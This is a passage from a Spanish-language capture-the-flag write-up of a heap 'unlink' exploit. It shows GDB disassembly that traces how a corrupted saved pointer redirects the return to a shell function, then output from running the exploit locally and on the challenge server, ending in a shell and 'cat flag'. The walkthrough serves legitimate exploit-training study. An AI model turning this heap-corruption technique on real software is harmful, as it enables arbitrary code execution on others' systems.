Bien pues el fallo esta aquí en las siguientes instrucciones una vez sale de la funcion unlink(),
0x80485f7        add    esp, 0x10
0x80485fa        mov    eax, 0x0
0x80485ff        mov    ecx, DWORD PTR [ebp-0x4]
0x8048602        leave  
0x8048603        lea    esp, [ecx-0x4]
0x8048606        ret
Tan solo con ver que es ebp-0x4,
gef➤  x/x $ebp-0x4
0xbfedde84:	0x08b7e434
Contiene nuestra dirección del heap y se mueve al registro ecx y si bien sabemos luego se convertirá en ret ecx-0x4 y si sabemos que ecx es igual a 0x08b7e434 si le restamos 0x4 obtenemos 0x08b7e430 y si vemos que contiene esta direccion,
gef➤  x/x 0x08b7e430
0x8b7e430:	0x080484eb
Boomm! la direccion de la shell.
0x8048606        ret    
   ↳   0x80484eb         push   ebp
       0x80484ec         mov    ebp, esp
       0x80484ee         sub    esp, 0x8
       0x80484f1         sub    esp, 0xc
       0x80484f4         push   0x8048690
       0x80484f9        call   0x80483c0 
Ejecutamos el exploit en local,
naivenom@ubuntu:~/Desktop/pwnable/unlink$ python exploit.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './unlink': pid 6070
0xbfe1bef4

0x9201410

running in new terminal: /usr/bin/gdb -q  "./unlink" 6070 -x "/tmp/pwnaui7WJ.gdb"
[+] Waiting for debugger: Done
0x9201434
Switching to interactive mode

$ id
uid=1000(naivenom) gid=1000(naivenom) groups=1000(naivenom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

2.4 Explotacion en el server

$ id
uid=1094(unlink) gid=1094(unlink) egid=1095(unlink_pwn) groups=1095(unlink_pwn),1094(unlink)
$ ls
flag intended_solution.txt unlink unlink.c
$ ls -la
total 40
drwxr-x--- 5 root unlink 4096 Nov 28 2016 .
drwxr-xr-x 93 root root 4096 Oct 10 22:56 ..
d--------- 2 root root 4096 Nov 23 2016 .bash_history
-r--r----- 1 root unlink_pwn 49 Nov 23 2016 flag
-rw-r----- 1 root unlink_pwn 543 Nov 28 2016 intended_solution.txt
dr-xr-xr-x 2 root root 4096 Nov 25 2016 .irssi
drwxr-xr-x 2 root root 4096 Nov 23 2016 .pwntools-cache
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23 2016 unlink
-rw-r--r-- 1 root root 749 Nov 23 2016 unlink.c
$ cat flag
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Comments